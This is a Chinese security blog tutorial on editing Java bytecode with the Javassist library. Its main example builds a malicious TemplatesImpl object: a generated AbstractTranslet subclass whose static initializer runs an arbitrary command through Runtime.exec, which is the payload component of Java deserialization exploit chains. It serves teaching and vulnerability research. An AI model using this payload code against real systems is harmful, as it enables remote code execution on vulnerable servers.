文章总结: 本文介绍了利用Javassist库操作Java字节码的方法,详细讲解了CtClass和ClassPool的使用及类加载机制。核心部分演示了如何动态构造继承AbstractTranslet的恶意类,在静态代码块中植入命令以生成TemplatesImpl反序列化利用链所需的字节码。文章还涵盖了类的冻结与解冻机制,适用于安全开发与漏洞研究。 综合评分: 90 文章分类: 漏洞分析,代码审计,安全开发,漏洞POC
如何利用Javassist操作字节码?以制作TemplateImpl为例
原创
Xyuxu
曜石安全实验室
2026年1月4日 19:31 北京
首先我们知道,Java 字节码以二进制形式存储在 .class 文件中,并由 JVM 在运行时加载和执行。而Javassist 就是一个用于操作和修改 Java 字节码 的类库。
官网介绍:
大体意思就是 一个用于编辑 Java 字节码的类库;它允许 Java 程序在运行时定义新类,并在 JVM 加载类文件时对其进行修改。并且提供了两个级别的 API , 源代码级别和字节码级别。如果用户使用源代码级别 API,无需了解 Java 字节码只是就能编辑类文件。另外,字节码级别 API 允许用户像其他编辑器一样直接编辑类文件。这里我们学习源代码级别API。
Maven依赖如下:
<dependency> <groupId>javassist</groupId> <artifactId>javassist</artifactId> <version>3.12.1.GA</version> </dependency>
用JavaAssist制作demo类 
接下来先通过一个简单示例,使用 Javassist 动态创建一个类。在此之前,需要先了解 Javassist 中两个非常核心的类。
CtClass(compile-time class)是对类字节码结构的一种抽象表示,用于在类被 JVM 加载之前,对其进行分析和修改。
ClassPool 则是 CtClass 对象的容器,用于统一管理和缓存类的字节码表示。当需要某个类时,ClassPool 会按需读取类文件并构造对应的 CtClass 对象,并在内部进行缓存,方便后续重复使用。
package com.xyuxu.javasec.JavaAssist;import javassist.ClassPool;import javassist.CtClass;public class JavaAssistTest { public static void main(String[] args) throws Exception { ClassPool pool =ClassPool.getDefault(); CtClass cc =pool.makeClass("Point"); System.out.println(cc.getName()); }}
在上面的demo中,首先通过 ClassPool.getDefault() 获取一个使用系统默认搜索路径(classpath)的 ClassPool 对象。随后通过 makeClass("Point") 创建了一个名为 Point 的新类的 CtClass 对象,并将其赋值给变量 cc。此时该类仅存在于 Javassist 的内部表示中,尚未被加载到 JVM 中。
如何加载到JVM中呢? 最简单的方式就是 直接调用 cc.toClass
package com.xyuxu.javasec.JavaAssist;import javassist.ClassPool;import javassist.CtClass;public class JavaAssistTest { public static void main(String[] args) throws Exception { ClassPool pool =ClassPool.getDefault(); CtClass cc =pool.makeClass("Point"); cc.toClass(); }}
或者利用 CtClass.toBytecode() + 自定义ClassLoader
package com.xyuxu.javasec.JavaAssist;import javassist.ClassPool;import javassist.CtClass;public class JavaAssistTest { public static void main(String[] args) throws Exception { ClassPool pool =ClassPool.getDefault(); CtClass cc =pool.makeClass("Point"); byte[] bytes= cc.toBytecode(); ClassLoader loader = new ClassLoader() { protected Class<?> findClass(String name) { return defineClass(name, bytes, 0, bytes.length); } }; Class clazz = loader.loadClass("Point"); System.out.println(clazz.getName()); }}
这种方式可以通过不同的 ClassLoader 多次加载同名类,在构造利用链或内存马时非常有用。
除了加载到 JVM,CtClass 也支持直接将字节码写入本地文件,通过 writeFile() 方法即可:
package com.xyuxu.javasec.JavaAssist;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;public class JavaAssistTest { public static void main(String[] args) throws Exception { ClassPool pool =ClassPool.getDefault(); CtClass cc =pool.makeClass("Point"); CtMethod method = CtMethod.make( "public void sayHello() { System.out.println(\"Hello, World\"); }", cc ); cc.addMethod(method); cc.writeFile("JavaAssist"); }}
在使用 CtClass 的过程中,以下几个方法是比较常用、也比较值得关注的:
addConstructor():添加构造方法addField():添加成员变量addInterface():添加接口addMethod():添加方法freeze():冻结类,禁止后续修改defrost():解冻类,允许再次修改detach():从ClassPool中移除toBytecode():生成字节码数组toClass():加载为 JVM 中的 Class 对象writeFile():写入.class文件setModifiers():设置访问修饰符
用JavaAssist制作恶意TemplateImpl类 
接下来结合安全场景,利用 Javassist 构造一个恶意的 TemplatesImpl 对象。TemplatesImpl 是 Java 反序列化利用中非常经典的一个类。许多 Gadget 链最终都会触发其 getTransletInstance() 方法,该方法内部会动态加载并实例化字节码,从而执行恶意逻辑。
我们尝试用JavaAssist来制作这个恶意类。首先制作TemplatesImpl所需要的恶意字节码。
public static byte[] createTemplatesImplBytes(String command) throws Exception { ClassPool pool = ClassPool.getDefault(); // 1. 创建一个全新的类 CtClass cc = pool.makeClass("StubTransletPayload" + System.nanoTime()); // 2. 设置父类为 AbstractTranslet CtClass superClass = pool.get(AbstractTranslet.class.getName()); cc.setSuperclass(superClass); // 3. 创建 static 代码块,插入恶意命令 String safeCommand = command.replace("\\", "\\\\").replace("\"", "\\\""); String staticBlock = "java.lang.Runtime.getRuntime().exec(\"" + safeCommand + "\");"; cc.makeClassInitializer().setBody("{" + staticBlock + "}"); // 4. 必须实现 AbstractTranslet 的两个抽象方法 (transform),否则类无法实例化 String method1 = "public void transform(" + DOM.class.getName() + " document, " + SerializationHandler.class.getName() + "[] handlers) throws " + TransletException.class.getName() + " {}"; String method2 = "public void transform(" + DOM.class.getName() + " document, " + DTMAxisIterator.class.getName() + " iterator, " + SerializationHandler.class.getName() + " handler) throws " + TransletException.class.getName() + " {}"; cc.addMethod(CtMethod.make(method1, cc)); cc.addMethod(CtMethod.make(method2, cc)); byte[] bytes = cc.toBytecode(); cc.detach(); return bytes;}
然后来制作恶意TemplatesImpl对象
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { byte[] evilBytecode = createTemplatesImplBytes(command); final TemplatesImpl templates = new TemplatesImpl(); Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecode}); Reflections.setFieldValue(templates, "_name", "foo" + System.nanoTime()); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates;}
FrozenClasses 
补充一个概念,当一个 CtClass 对象通过 writeFile()、toClass() 或 toBytecode() 被转换为类文件形式后,Javassist 会将其标记为冻结状态(freeze)。冻结之后,便不再允许对该 CtClass 进行修改。这么做的原因在于 JVM 本身并不允许对已经加载的类进行重新加载或结构性修改。
CtClasss cc = ...; :cc.writeFile();cc.defrost(); //解冻cc.setSuperclass(...); //可以修改了
不过,需要注意的是,冻结和解冻只作用于 CtClass 对象本身。通过 defrost() 解冻后,仍然可以继续修改 CtClass,只是这些修改并不会影响 JVM 中已经加载的 Class。如果需要生效,可以选择写出新的 class 文件,或者使用不同的 ClassLoader 再次加载。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:曜石安全实验室 Xyuxu《如何利用Javassist操作字节码?以制作TemplateImpl为例》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论